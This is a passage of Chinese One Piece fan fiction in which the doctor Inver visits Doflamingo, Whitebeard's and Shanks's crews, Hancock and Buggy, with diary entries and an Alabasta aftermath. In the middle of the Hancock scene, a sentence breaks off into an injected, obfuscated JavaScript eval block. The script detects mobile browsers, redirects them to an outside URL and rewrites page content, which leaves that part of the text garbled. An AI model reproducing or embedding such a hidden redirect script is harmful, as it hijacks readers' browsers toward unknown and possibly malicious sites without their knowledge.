德林杰从他身后跑过,也拿着水枪要一起玩的时候,罗西南迪差点没掉下去,不过无形的细线拉住了他。 多弗把他拉到“安全”的区域,他也干脆去哥哥身旁空着的位置坐下,免得茵弗他们玩起来之后把他拖到水里。 “呋呋呋他刚才干嘛了?” “老样子,发了会呆吧。” 老样子吗?多弗朗明哥笑着,给弟弟倒了一杯酒。腿边矮凳上的漂亮女性手肘支在腿上,手托住脸颊,压住身上摊开一本杂志,大概是时尚类的,能看到一些 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【羊水,海,这些孕育一切的诞生地,温柔拥抱着生命走向死亡,然后会有一瞬间,我清醒地意识到自己在活着。】 “因为我喜欢呢。” - “我要退休。” “呋呋呋呋又不是在让你工作,就当闲聊嘛。” 茵弗喜欢的事情很多,不喜欢的事情很多。他喜欢很多种类的吐司,但是不喜欢肉松吐司。喜欢尝试不同风格的衣服,但是不喜欢挑颜色。喜欢水,但是也不喜欢水。 喜欢多弗朗明哥,但是不喜欢他一直问和庆典一点也不搭的话题。尤其今天是最后一天,他在准备找个好地方等小人族们准备的玫瑰花雨砸他一头。 “好吧,凯撒·库朗先生是个坏家伙,长了个好脑子,威逼利诱、满足他的虚荣心,他就会''听话''。” “呋呋呋呋呋人才呢。” “我不喜欢他,但是确实,在监狱里可以继续打工。” 茵弗头上戴着花冠,在堂吉诃德兄弟中间走着,时不时探头探脑,对比着手中奥维莱特偷偷给他的庆典安排图,玫瑰花雨的中心点是... “鳄鱼怎么样?” “是个聪明家伙,怎么了?” “聪明家伙才适合合作不是吗?” “我就知道您很喜欢他,当初我去阿拉巴斯坦的时候听您呋呋呋的调都兴奋了。” 克洛克达尔啊... 他指指某栋旅店的露台,拉了拉身旁的粉色羽毛,三人拐入旅店,经理亲自出来安排,堂吉诃德是真的把自己搞得很受欢迎。 “他的计划得有个结果,无论成败,到那时也许您可以试着联系他。”茵弗放下手中的规划图,推开房间内的落地窗,暖风从露台吹入。看了看时间,还早,他坐上柔软的大床,在罗西南迪把自己点燃之前拍去他肩上的火星。 虽然不知道克洛克达尔和多弗朗明哥相性如何,不过感觉...大概那个骄傲的家伙会看不惯大火烈鸟吧。毕竟他们想要的东西还是不大一样。但是茵弗觉得至少他们两个,甚至包括鹰眼,能吃到一桌去。 最强是孤独的。鹰眼把那种孤独化在了独处里,他的眼睛过于犀利,也就觉得无聊,和他的自由化为一体。他现在在教一个目标是砍了他的小鬼,他和香克斯是朋友。 香克斯的''任性'',与他嘴里的''麻烦''正是他俩为朋友的原因之一。因为香克斯不在乎他的冷淡与对剑道的专执,即使他拒绝与他对决也当他是朋友,喜欢他,把他拉到海贼闹哄哄的宴会里,一个值得他直视的人驱散孤独感。 香克斯醉醺醺地搭在他肩上的时候,也许他会嫌弃,但他不会推开他。 庄家也是孤独的。鳄鱼把那种孤独化在他的计划里,周围的人和事都是砝码,不给予信任,不建立联系与感情。他瞄准一个目标,然后他要爬上去,要赢。 过去的失败大概让他丢了一些东西,他喜欢可控的事物,选择窃国,掌握武器——被世界政府忌惮的古代兵器。 金钱、力量,他要把他们切实地攥在自己手心,和多弗朗明哥一样,黑白两道同时运作。 克洛克达尔是一个精明的捕猎者,但是也是一个大胆的海贼。也许他再输一次,才会试着再次成为赌客。 “不过我和他也没相处很久,也就一个月左右,除了一开始的几天,一天也就见一面这样,所以只是我短暂的感官而已。” “呋呋呋那我呢?” “您也是孤独的,至少,我们刚认识的时候是这样的。” “现在呢?” “现在您有我们啊。” 他拍了拍罗西南迪,软咩咩不好意思地挠挠脸后,对着自己的哥哥竖起两根指头,做了一个有点傻的笑容。多弗朗明哥伸出手越过茵弗玛利的头顶,揉歪弟弟的红帽子。 茵弗在他手收回去之前把这个大高个的胳膊从头顶拉下来,玩着他的手指,欣赏自己的杰作,慢悠悠地继续说:“您们偏好的餐食风格还蛮像的,虽然克洛克达尔先生更喜欢威士忌,合作的话黑鹰先生可能会觉得麻烦。吃饭的话,您安静点,他也许会愿意品鉴一下堂吉诃德家的拿手好菜大龙虾的。” “呋呋呋你和鹰眼相处得很好嘛。” “嗯,他照顾我很多,在他的岛上也是有点像度假一样。” 不过和堂吉诃德兄弟就会拉着他们玩,一起做很多事情。跟米霍克的话就是自己做自己的,聊聊天,享受同一片空间这种感觉。 “你之后去哪?” “去白胡子海贼团看看艾斯,离开新世界之前能去香克斯那呆一阵子就最好了。” “波比放在这里?” “我开到某个附近的岛就好。” 快到时间了,茵弗从二人中间起身走向露台,伸了个懒腰。下面的街道已经熙熙攘攘,很多情侣都迫不及待地拉着恋人,羞涩激动地耳语着。他靠在栏杆上,微微的风会把花瓣们吹拂起来,大概会很美。 黄金时刻到达的那一瞬间,万物都融化在暖尽色的光里,他先听到欢呼。眨眼后才看到柔软的雨。几个小人族从他身边窜过,好像听到一点笑声。 鼻尖都是玫瑰的味道,德雷斯罗萨的味道。 如愿地头发里衣领都沾了花,身旁沉默半晌的罗西南迪突然问他为什么想退休。 茵弗笑了一声:“还有不想退休的人吗?” 虽然还不到四十岁,其实才算青壮年,但是说实话他不知道自己还有多少寿命。 黎明快来了,他们说。新时代,他们说。 这片海很大,他喜欢没见过的风景,收集小玩意儿。命运会有什么答案,揭晓的那一天来临前,他会一边等,一边继续走下去。 “我能看到最好,如果不能,我希望在我走到终点前,能和爱的人们多呆一会儿。” 身旁的二人都没有回话。雨停了,茵弗摘掉自己身上的玫瑰花瓣,夹到口袋里的便签本里,准备回去塑封成书签。 “回去吧呋呋呋,把你的的巢再搭大一点。” “有点热,您那还有透气轻薄一些的被子吗?” “啊我那里有,搬过去好了,茵弗你晚上想吃什么?” “牛排?配菜想要半熟煎蛋和土豆泥。炖鱼也好,上次做的很好吃。” 两兄弟的大衣上沾了不少花瓣。脱下来抖一抖大概又是一场小雨,茵弗被自己的联想画面逗得笑了一声,突然有些庆幸那红色不是他们任何一人的血。 89.神奇的客人 莫比迪克要来客人了,这让船员们接到消息后或开心,或好奇地谈论,尤其是那些近几年加入的新人们。这次不是附属海贼团来看老爹,而是奇迹游医、大队长马尔科和四番队长萨奇的老师、二番队长艾斯的家人要来拜访。 “队长,奇迹游医是一个怎么样的人啊?”年轻的队员好奇地询问正监督他们收拾一间舱房出来的布拉曼克。一般这种事情队长是不会亲自监督的,只是工作完成后验收,所以更让他们好奇。 布拉曼克摸摸下巴,思考着该怎么说。感觉一个词汇很难概括,真是为难他们这群海贼了。同样的烦恼也在别的队长们,还有早些年接触过他的船员们身上出现。 “奇迹游医啊...” “小医生他...” “茵弗...” 等到马尔科队长飞回来,那个人站到甲板上时,那些好奇的船员们才明白他们的意思—— 首先,那个成熟可靠的大队长马尔科,居然像小孩一样和奇迹游医走几步就要互相戳对方,好像在做什么游戏。奇迹游医手里甚至拿着一根队长的羽毛甩来甩去的当武器。 不是师徒来着吗?虽然马尔科不像萨奇那样会经常提到这件事,但是萨奇那种敬爱的态度让他们以为他们二人关系会更...如果是爱开玩笑平易近人的萨奇和老师之间是这种相处模式感觉还更让人信服一点。 那可是一番队队长马尔科诶,老爹的副手,管理全船大小事务,严谨认真的大海贼不死鸟诶。 其次,和老爹为什么打了招呼后就开始说什么不愧是四皇真是狡诈得很,两个人无比自然地互相开玩笑。 咕啦啦地笑声后奇迹游医又突然超级认真礼貌地鞠躬感谢他对艾斯和萨奇的照顾,弄得不习惯这种礼仪的新船员们下意识也跟着低头想说哪里哪里。居然还说这次的礼物是可以请感兴趣的船员们去那个黄金城玩耍,贵宾待遇全开放。 最重要的一点是看到二番队长之后,笑眯眯的脸整个都露出不敢置信的意味,卡壳了几秒之后突然丢下老爹跑到艾斯身边,一手捂在他的腹肌——肚脐上。在雀斑青年呲哇乱叫说好凉啊小姨—小姨?—之后捞过艾斯自己的一只手放在肚子上,惊慌地说他怎么不穿衬衫肚脐眼着凉会肚子痛的。 什、什么妈妈吗? “虽然你吃了果实之后就不爱好好扣扣子我也懂啦但现在干脆就不穿了啊这是,反向弗兰奇先生吗!” “穿上怎么露出来纹身啊。” “哦是名字啊...后背怎么纹了这么大一个!帅的不过脊柱这个位置纹身超痛的吧不愧是我们家艾斯真是勇敢...” ''是个很神奇的人。'' 新人们对奇迹游医的第一印象,在老爹咕啦啦啦的大笑里结束了。 - 雷德福斯要来客人了,这让船员们或激动或好奇地讨论着,毕竟除了干部们很多船员都没见过他。这次不是船长的某个酒友或者是附属势力,而是奇迹游医、据说是耶索普的大恩人、本乡一直很敬佩的人、船长珍爱的朋友和哥哥要来拜访。 他们不用给客人收拾舱房,因为头儿是一定会拉着人家一起住的——莱姆琼斯这么说。 “前辈,奇迹游医是个怎么样的人啊?”长发男人推了一下墨镜,回答“是很神奇的人。” 被海贼说神奇的话可以理解的方式有很多。被红发海贼团的干部说神奇可以理解的方式更多。一群人嘻嘻哈哈,决定见到了就知道了。 等贝克曼和耶索普亲自划着小船带人回来,他们才明白他的意思—— “很多没见过的面孔呢,带了礼物哦,白胡子海贼团珍藏的好酒。” “哦哦哦哦哦哦哦!另一个四皇的好酒被我们拿来喝?太有面子了吧!” 茵弗笑笑,拍拍去接他的二位表示感谢,然后熟练张开手臂,拥抱香克斯。 “我本来也想去接你,贝克不让啦。” “一只胳膊去划船?乖乖呆着吧。” 船员们看着那几大桶酒被搬到厨房里,奇迹游医和干部们谈笑风生,平日严肃的几位都露出熟稔的笑容。开宴会,居然是管着花销的副船长亲自告知安排,还是特意去附近的无人岛开大宴会。 多来做客吧。 新人们对奇迹游医的第一印象,在欢呼声里盛开了。 - 白胡子海贼团人太多,一个礼物代表给大家就可以。但是他们第一次换礼物的那几个人会收到单独的份,一如既往地偏私人,更贴心。 来自德雷斯罗萨的口红送给以藏、精致的羽毛笔送给马尔科、高品质的盔甲保养用油和爱情小说给乔兹、玫瑰种子和庆典上留下的花瓣书签给比斯塔... 上一站是爱与妖精之国的医生整个人都是粉红的味道。 “力库王族御厨的食谱哦,小厨子~” “谢谢老师!” “小姨,我没有礼物吗?” “你的礼物是小姨我的想念亲吻。” “啊、不、大家都在诶...” 茵弗笑笑,看艾斯脸上的小雀斑被熏得红红。都是当队长的男子汉了,他也没真的亲他,从包里拿出来给他的礼物。 “喏,漂亮的手环,还有嗜睡症的药,做成软糖你就好好吃了吧?” “哦、哦!” 艾斯长大之后身上越来越喜欢戴配饰,手环臂环这类的。裤子喜欢七分裤,腰带倒是买了一堆花里胡哨的。 茵弗玩着萨奇的面包头,不太明白这小子怎么学来的这种发型。庞巴度是男人的浪漫,大概就是这么个理由。倒是长得比他还高了,壮壮的样子,还戴着罗宾当年送给他的黄色领巾。 “基德的船很帅诶,之前在报纸上看到了。” “是呢,那孩子到底还是弄了恐龙骨头。” “为什么叫维多利亚·朋克?” “因为那俩小子喜欢上一个女孩子,那是她的名字。” “诶真的假的!什么样的人?” “基拉跟我说的,叫德鲁亚奈卡的小姐,不过很遗憾去世了,所以见面不要随便打趣哦。” 很早的事情了,是二人刚回南海的时候发生的。具体的他也没问,他们俩到奥比塔拉拜访的时候都不太想提这件事。不过倒是理解了为什么他们在冒险途中对强盗团伙或者海贼团伙都下手很狠,赏金涨得很快。 其实都是感情这方面很认真的孩子,从小就是。不止是细腻的基拉,基德也是。亲情友情这类的都很看重,很重义气。 开宴会就是叙旧,喝酒,讲八卦。 - “我听说你的一个大——八卦。” “哈哈哈哈什么啊?” 香克斯给有点醉了的茵弗杯子里倒气泡果汁,和酒精混在一起被对方喝下去。海贼宴会会闹到很晚,但是茵弗不会,不知道是当年跟□□学的,还是就习惯如此。看看月亮的高度,差不多可以带他回去睡了。 “我们回去再说。”迷糊糊的人凑过来,小声地在他耳边耳语。 茵弗伸出手揉香克斯的眉间。 红发海贼团的人都成长了好多,每次见面都不一样。初遇时嘻嘻哈哈的青年人们都变得成熟稳重。虽然自己和他们之间还是很亲密,但是在他们作为“干部”的时候,就会觉得颇为感慨。 莱姆琼斯和本乡当年都是勾肩搭背笑闹的样子,现在脸色平静,微微皱眉的严肃样子虽然很帅,但是真的会让他觉得变化好大。 “您们真厉害啊。”茵弗收回手,又喝了一口带着清爽的酒。他能感觉到自己有点醉了,血液都在变迟缓,热乎乎的。 面对朋友们的疑惑,他放下酒杯,开始掰着指头细数他们每一个人的变化和帅气之处。 “...还有本乡先生,当年还缺牙,然后超级热情地想跟我学很多东西,明明自己也是优秀的医生但是就很可爱...” 四皇团啊。 掰下最后一根手指,他晃了晃手。 “感觉...嗯,您们笑的比以前少了很多,冒险辛苦了。” 他们还是他们,只不过就像是茵弗玛利经常需要以【奇迹游医】的样子去示人,他们也从红发海贼团,变成【红发海贼团】了。 香克斯也是,他们也在守护这片海,新时代的幼苗。巴基这些年...他转向一直看着他的香克斯,在大家都没说话时打破沉默:“他跟你说的话,巴基知道吗?” 赌上惯用手,宝藏的帽子,豪赌的黎明。 红发船长点头:“我之前告诉他了。” 茵弗揉着眼睛,在对方询问他想知道吗的时候摇摇头,他模糊也能猜出来一点。他们都有自己的冒险,自己的船。 耶索普挠挠脏辫后清了清嗓子。茵弗大哥还是那么...让人不好意思。对方突然转向他,再次询问乌索普去哪里了,明明之前问过了,不过他还是回答。 “跟着我们历练的途中找到一座他很感兴趣的岛,叫波音列岛,他现在跟着上面有位叫海格力斯的人继续修行。那小子想把植物塞到子弹里诶,不愧是我的儿子哈哈哈...” 本乡意识到酒精让茵弗玛利留下损伤的头脑有些晕乎,记忆和专注力都在向不太好的方向分散,便叫了声“头儿”,然后对着他努努嘴。红发的船长顺利明白自家船医的判断,在耶索普念叨完自己的好儿子后爽朗一笑,说先带着茵弗去休息,兄弟们继续宴会就好。 洗漱后将沾了酒肉气味的外衣脱掉,茵弗埋到香克斯床上的毯子窝里,迷瞪了一会儿之后反应过来对方在问他提到的八卦。 “啊...鲁先生说你和贝克曼先生很受女性欢迎的事情吗?” “哈哈哈不是啦,是你说要悄悄告诉我的事情。” 香克斯在他身边躺下,伸手轻掐他的脸颊。 “露娜茜茜雅宫告诉我,''你弟弟和神之骑士团的现任团长夏姆洛克长得一模一样''。” 红发男人顿了一下,收回手改为搭在他身上,听他继续询问道:“你知道这件事情吗?还安全吗?他们不会对你做什么吧?” 香克斯笑了。 - 莫比迪克的客人是可以在老爹身上坐着捏他胡子的程度。 雷德福斯的客人是可以给不拘言笑的莱姆琼斯编头发的程度。 神奇的人。 - 波雅·汉库克也是这么想的。 被雷利借用亚马逊百合附近的狩猎无人岛修炼的路飞的家人,居然是那个救了她们三姐妹之后,上上任皇帝询问过她们是否知道下落的恩人。 正是因此她才允许雷利借用岛屿,将他们当做客人带入亚马逊百合。 咋婆婆在听说是奇迹游医去玛丽乔亚大闹的人之后也告诉她从报纸上看对方很忙碌,所以只是在来接路飞时才见上一面真是太可惜了。 “不必客气,能活下来回到家乡也离不开您们自己的努力,不过我为我家孩子冒冒失失地找吃的却掉到您浴室里一事表示歉意。” 茵弗礼貌地对着面前比自己略矮的女帝半鞠躬。确实是个很漂亮的姑娘,也不知道因此在那上面受了多少委屈。 “啊,您,您不必客气,他也帮了哀家很多。” 她很尊敬他让他觉得有点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094018|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思,毕竟自己其实是想过用雌性荷尔蒙作弊溜到她的国家参观的坏家伙。 “他说的也没错,那个烙印并不代表什么,您早就自由了。” 汉库克鼻尖发酸,点了点头,黑发少年比划着,露出灿烂的微笑。 ''小姨也有那个印记,他为了去上面主动打上去的,他不在乎,因为他是自由的,你也是啊汉莫克!不是早都离开那里了吗?下次遇到欺负你们,还有小姨的人,我会打飞他们的!'' 面前的人比划着,不知从哪里拿出来一根青色的漂亮羽毛,露出温暖的微笑。 “奴隶不是自由的,人也不是自由的,自由是像飞鸟一般,在向着自己的蓝天腾飞时不在乎自己羽毛的颜色,不在意掉落的碎羽。您早就可以做一只鸟。” 茵弗给面前的三姐妹递过一盒擦泪的纸巾。 “不过封闭在这个岛确实麻烦的一点就是,''奥比塔拉会免费给想要的人消除天翔龙之蹄'',这个不会在报纸上出现的隐秘消息,您们也不知道吧。” 路飞在一旁狼吞虎咽说就是啊,所以叫你来帮忙啊尼嘻嘻嘻。 “手术的话波比上的手术室我得准备一下,麻烦先再次用游蛇把我送出无风带,在外面呆久了缺一些必需品。” 茵弗拿到了很好的诊费——拱佐洛拉乳酪海王类管面的食谱。 ''一个神奇的男人,奇迹的游医。'' 亚马逊百合的居民战士们或是好奇,或是感慨地讨论着。 ''他打破了戈尔贡之眼的诅咒。'' - “我不送你去东海,亲爱的,你既然说要从头开始,不要帮助,那买船的钱我也不给了。” 茵弗揉着路飞软软的橡胶脸颊,他会跟着拉布到颠倒山,然后库洛卡斯会送他和乔巴回东海的起点,他的伙伴们也都将在那里汇合。 很合适,黎明岛。 “噢!我会当上海贼王的!” 阳光投入暗港,给对着他招手的少年虚上光影。他们很快就会进入伟大航路,一定会比艾斯他们都快,这片海要真正地热闹起来了。 这一次茵弗没有提前离开,只是看着背着光的那个草帽身影远去,不知道他脸上的表情——不、他知道,是和罗杰一样的大笑。 他搂住身旁揉着眼角的雷利,叹了口气。 “他会把这世界闹得天翻地覆吧?” 臭小子还说等他们到奥比塔拉了,就带走甚平,甚平也哇哈哈地说要被抢走了啊。居然敢挖他的墙角。 “你接下来准备干吗?” “退休吧。” 雷利哼笑了一声,也不知道是信了还是没信。 回到主楼区,露玖端来温好的茶,送行的人不多,除了他们几个之外就是希鲁鲁克和库蕾哈来一起跟着送了乔巴。 众人闲聊了一会儿,茵弗靠在雷利的身上,玩着他的手指。以后他和露玖也不用那么忙了,伊甸已经到了没有他们也能运转得很好的阶段,珊米现在很有干劲,不知不觉被培养成了露玖的继承人。 在希鲁鲁克问他世界第一发明家是什么样子时,他比划了一下吐出舌头的长度,食指拇指围成圈罩在眼睛上说是个老头。 “不过我和贝加庞克先生聊天的时候,他提到了''对海平面的监测研究''。” 雷利:“...这样啊。他都告诉你什么了?” “不多,毕竟他也没研究完,要偷偷摸摸的嘛,我也没问历史,就是好奇第一天才重视的研究都有哪些。” 但是他去过很多地方,见到很多的风景和人。 七水之都的下沉,被淹没的和之国,还有多弗朗明哥夸他喜欢住在【高处】的“好习惯”。仔细想想他怎么就爱提这么一嘴呢?知道玛丽乔亚秘密的前天龙人啊。 他直起身子掰着指头:“五老星有财务武神、农务武神、法务武神、科学防卫武神,还有...环境武神。” 环境...就很微妙。在这个海域分隔,气候不稳,岛与岛之间都那么割裂的世界,什么可以被归纳为“环境”? 雷利叹了口气,这孩子从小就敏锐聪明,他也习惯了。 “所以呢?” “没所以,我一个医生还能让它降回去?” 他看向面带疑惑的希鲁鲁克,这个送给自己茵弗玛利之名的男人,神奇的庸医。 “您送我的名字很好,我有好好地使用它。” “啊...你喜欢就好了!” “不过有时候我会想,也许我应该继续做''杰里''。” “为什么?” 知道他叫杰里的人不多了呢,他最早朋友之一的甚平都露出困惑的表情。 “你叫什么都无所谓吧?”蓝发红鼻子的男人撇嘴。茵弗靠在雷利身上,黏黏糊糊地搂着他和贾巴的胳膊,嘟囔一句是吗?周围有点吵,夏琪在修理不好好付款的海贼们。 她将“客人”丢出门外后拍拍手,走到他们这一桌,有些惊讶地挑眉。 “啊啦,小茵弗睡着了吗?还是喝醉了?” 桌边几人打住他们的谈话看向他。 贾巴笑了一声:“没呢,小子眼睛还睁着。” 雷利:“醉了,小家伙?” 巴基:“晕乎了?” 他直起身子,亲亲雷利眼上的伤痕,又亲亲贾巴,把他们两个的手放在自己额上贴了贴。 “于拥抱之间,我活着...真是幸运啊。” “嗯?” “没,准备好了而已。” 茵弗露出一个幸福的微笑。 比格道普要来客人了。 90.不是航海日志的日志 【海圆历1522年X月X日:】 【虽然本子已经跟了我这么久了,但是久违了,航海日志。嘛我也不算航海吧,波比还好,带着咖尔就完全是在飞嘛。】 【、 、】 【这种感觉也久违了,不知道写什么的。笔记、医案、研究成果、规划、草图...这些东西写得太习惯。雷利先生在我出发前又重新修了本子,然后告诉我''这次出去重新开始写航海日志吧?''可是其他的事情也要做,所以这回轮到贾巴先生送我另外的笔记本,意外地花哨,上面有花朵和爱心。不过确实他一直都是很烂漫的人,''要写你自己的航海'',这么教我的家伙。】 “喂,茵弗,要到岛了。” “好耶巴基,你跟我一起去吗?” “当然了吧?本大爷的藏宝图诶?” 【不管是去白胡子海贼团,还是香克斯那里,因为他们就是大部分时间在海上的那种类型,所以跟着旅行。 巴基现在势力很大,他是喜欢有固定据点的类型,所以本来以为会就在他的某个基地呆一阵子,结果没住几天他就亲自出航,虽然找了''也要去海上转转免得他们忘记巴基大爷的威名'',还有''偶然得到了藏宝图当然要去找一下''这类的理由。 他的小弟们真的很爱他,这是当然的,争先恐后想被安排在这次可以一起出征的行列里。但是他只带了几个我熟悉的干部,新人没带多少。 是在照顾我的心情吗?今天也对他满怀感谢,寻宝还是第一次,我会加油的。】 藏宝图当然是假的。 巴基知道这一点,以他的眼力一眼就能看出来。这世界上哪有那么多好东西,一千份里有一份能找到什么都很好了。 不过对茵弗来说很神奇的一点就是,如果说一般人会在一捧沙子里淘那一粒金的话,茵弗则会蹲在水边半天,动动手指,然后跟他们说这里的沙子好细腻、手感好独特、或者颜色好特别、他在里面发现了玻璃碎片或者螺的壳这类的。 然后他就很满足了。 垃圾在他眼里也是宝藏,这一点巴基早就知道了。 自己手下的小弟当然很崇拜巴基大爷,这是自然而然,理所应当的。只是这家伙笑吟吟地一直呆在他背后,走在身侧也总是落后半步,好能看他被小的们照在聚光灯下的样子让他不舒服。他在那个红毛混蛋那也这样吗? 所以藏宝图是假的也无所谓,他只是在他走之前带他出来玩一圈。跟巴基大爷认识这么久了,怎么能连读藏宝图都不会呢白痴? “是这边吗?可是是悬崖?” “也许实线和虚线的意义是反过来的,你再看看,实在不行本大爷也能飞下去。” “还有这样的吗!好狡猾啊,好捏~” 【寻宝很有趣,难怪海贼们喜欢。啊这次没有找到财宝,也许他们也没那么喜欢。 但是岛上有一种很大的猪型生物,母的背上有厚厚的苔藓状物质,据说打雷的时候会长出来一种蘑菇,用来给断奶的幼崽补充营养。超级可爱的。】 【可惜不能在这里多呆一阵子看看那些蘑菇,但是巴基说记录了磁力,做永久指针之后可以再来。】 【航海日志,好怀念啊。】 【今天吃了...嗯烤猪肉。】 - 【海圆历1522年X月X日:】 【路飞的通缉令出了,大大的笑脸真的是看到就让人心情好啊这孩子。进入伟大航路了呢,东海嗖得一下就过去了。大概有跟库洛卡斯先生和拉布打招呼。】 “所以啊!这不是挺好的吗?” “去当海贼有什么好!老夫还要跑一趟!” 茵弗一只手揉揉耳朵,吼这么大声看来不是心情不错就是身体太好了老头子。 “那几个海军什么摩根老鼠的本来就挺烦的,阿龙先生也跟我说过,您孙子为民着想不应该夸夸吗?” 撅了几个烂海军,几个小海贼团,帮阿龙从糖浆区揪出来个奸细,才给三千万他还没说呢。 茵弗再次欣赏了一下手里可爱笑脸的通缉令,回去就裱起来,正好挨着基德的。 反正每次孩子们闹出点什么事就要隔三差五地被卡普啰嗦一番,他都习惯了。果不其然在他问细节之后,卡普来了一句“不愧是老夫的孙子啊哇哈哈”。 挂断电话虫后茵弗回到宴会上,在篝火边坐下时脸上还带着一点无奈的笑容。 【米霍克先生送索隆先生到东海的时候见过路飞了,自然是对徒弟认定的船长颇感兴趣,而且还是让香克斯下赌注的人。通缉令出的时候正好在海上,便顺路拜访香克斯。所以本来再次来做苔藓蘑菇猪的研究时遇到来这里歇脚的香克斯就很意外了,没想到都碰到一起。】 香克斯:“苔藓蘑菇猪是什么啊哈哈哈哈!” 茵弗:“就是你们在吃的猪啊,虽然确实好吃,但是我跟它们相处了一阵子了其实有点心痛...” 香克斯:“鲁说这里有很好的食材我们才停靠的嘛,没想到在林子里看到咖尔了。” 香克斯递给打完电话虫回来的人一串烤猪肉,有些好笑地看他念叨两句什么千万不要是大粉二粉啊真是对不起后慢吞吞吃下。 米霍克:“你很喜欢的样子。” 茵弗:“因为好吃啊呜呜,真是犯罪了,别说了别说了。” 红发男人哈哈地笑着,拍了几下给他送来通缉令的大剑豪,虽然跑到茵弗手里去估计他也要不回来了。已经知道他们两个相处得很好,亲眼见到还是蛮有趣的,鹰眼也是会逗人玩的家伙啊。 他们也不打算在这里久留,补给一下就继续航行。本来还打算拉着茵弗跟一段路的,但是他的研究还没做完。一堆专业用语他也听不太懂,大概就是想试试看能不能模拟栽培那些猪类生物身上的苔藓来培育很有营养的蘑菇。鲁说的好食材其实也不是这些好吃的生物,而是那些蘑菇。 有点可惜,不过今天是个好日子。和朋友们一起宴会,又收到路飞的消息,果然他很爱这片神奇的海。 【今天是个好日子,等不及收到下一次路飞的消息,不过希望明天去猪穴领地的时候不会发现很亲昵我的几只被可怕的红发海贼团抓走开宴会了。】 【是的呢,今天吃了...烤猪肉。】 - 【海圆历1522年X月X日:】 【因为又开始写航海日志,所以难得地又翻了一下过去的自己都写点什么。 没有找到日志本的时候吓了一跳,最后在艾斯的房间里发现了,居然没有放回原位臭小子。不过看出破损的地方有胶布粘过的痕迹,就原谅他了。】 “阿嚏!” “艾斯!感冒了吗!” “笨蛋,我是火啊怎么会感冒。” 阿拉巴斯坦的王宫里,为讨伐克洛克达尔立下大功的草帽海贼团正在开宴会。他们本来只是要来接在这里研究历史正文的罗宾的,路上碰到为了收集证据卧底到巴洛克工作室的薇薇后顺路把她带回来,众人结下深厚的友情。 路飞当然是把这个他看不顺眼的鳄鱼男打飞。 “所以说你小子没准也会被邀请成为七武海啊?没想到来见你一面碰到这么大的事呢。” 路飞暴风吸入着长桌上的面条,嘟囔着:“我要做海贼王!才不当武海呢!那个藤蔓男要帮忙阻止沙男的沙子破坏城市,我跟他说我负责打飞他!” 艾斯拍开弟弟伸到他盘子里的手,下手凶狠但语气阳光:“哈哈哈不愧是你啊,路飞!不过差点被毒钩戳死什么的也太逊了吧?明明都这么强了?” 路飞:“那我也打败他了!” 被毒素折磨,四肢脱力,带着身体的剧痛也要站起来出拳。武装色可以攻击克洛克达尔,对方在发现他实力不俗后一开始就严阵以待,路飞还是缺少一些实战经验,被毒钩刺中几次。不过在这里呆了一阵子的罗宾早就弄到了解药,加上赶过来的乔巴现在就是完全健康,都没有错过几顿饭。 “啊啊我们当时也是呢。”艾斯指指他,“虽然实力很强,但是果然真的和人打起来,需要积累的经验很多,小姨说他也是摸爬滚打了一两年才习惯的呢,这片海什么样的人都有。” 路飞尼嘻嘻嘻地笑了:“是啊!很有意思吧?我等不及去新世界了!” 艾斯:“听我说话啊臭小子!” 与皇宫里的喧闹不同,阿拉巴斯坦港口处,硬币双面的正义之人正在对话,话语里的严肃意味和屋子里飘散的白烟闷塞一团。 “总部大概会升你官吧?” 叼着雪茄的男人啧了一声,将桌上的几瓶蜂蜜放到一边:“我又没做什么,是你和草帽小子帮助王室。” 宾兹笑了笑:“啊,但是无论是海贼还是我们SWORD都不能放到明面来说,既然这次你赶到了,估计明天就会收到上面的来电了。” 斯摩格皱着眉沉默了一会儿:“奇迹游医叫你们来这儿多久了?” 宾兹:“有一阵子了,不过潜入巴洛克还挺麻烦,亚厉克和薇薇公主花了不少时间才拿到证据,当时流言的问题已经发酵太久。” 奇迹游医想让他来用能力帮忙改善绿洲环境,给他的药材基地帮忙,利国利民的好事情,加上确实他们受他恩惠良多,泽法老师同意了。 他说报酬是''一个很好的SWORD任务机会'',只是没有吐露太多细节。 确实在这次任务中包括他在内的三人都成长许多,不管是侦查,潜入,秘密调研...毕竟要接触一个头脑精明的七武海,跟之前的不是一个级别。 虽然最后打败克洛克达尔的是一个海贼,不过他不讨厌那家伙。而且当时鳄鱼那么多后手,不惜毁了阿鲁巴拿也要成功的作风下,他相信泽法老师不会责怪他们选择了优先保护市民。 “话说你不加入我们吗?''叛逆的海军''?” 烟鬼没回话,吐出一口烟雾。弥漫的烟气四散,钻入木板的缝隙之间。 嘎吱、嘎吱。 军舰低层的牢房里,巴洛克工作室的干部们在遭遇了强大的对手后仍然昏迷不醒。Miss圣诞快乐的卷发里还嵌着那些诡异植物的叶片。他们的老板手上戴着镣铐,靠着墙坐起身子,嗅到了并不存在的雪茄烟气。 他没能挑起大规模的叛乱,不知道从哪里冒出来的海军配合王室介入了他的计划。妮可·罗宾解读的历史正文只记载阿拉巴斯坦的历史,他才不信。只是没能干掉她,她居然还和那个混蛋草帽小子认识。 真是太无趣了。 他身上的东西有任何越狱帮助可能性的东西都被收走,只剩下一张收据还有...一张黑白的海浪照片。 克洛克达尔啧了一声,勉强抬起束缚在一起的双手和金钩,艰难地将它摸了出来。 沾着血——草帽小子的,他的。 那个中了毒快死了也要把他“打飞”的人在它从口袋里掉出去的时候接住了它,然后讨厌地说:“这不是海。” 他不记得他有把它夺回来,他没那么大兴趣,丢了就丢了,也许是失去意识之后那小子塞回来的。 啧...多管闲事。 灰色的眸子眯着,试图在昏暗的光线里看出点什么,染上暗红的相片更加模糊——起伏的海浪。不是海?他说不是就不是了吗? 他说要做海贼王就能做了? 带着锈蚀气味的相纸被揉皱,连带着一股不适的感觉一起。 沙是他的主场,是优势,水雾弥漫的海洋对他不利,像毒。可是他突然不确定那个家伙给自己这张照片的时候,有说过它是什么吗?他好像没注意听。 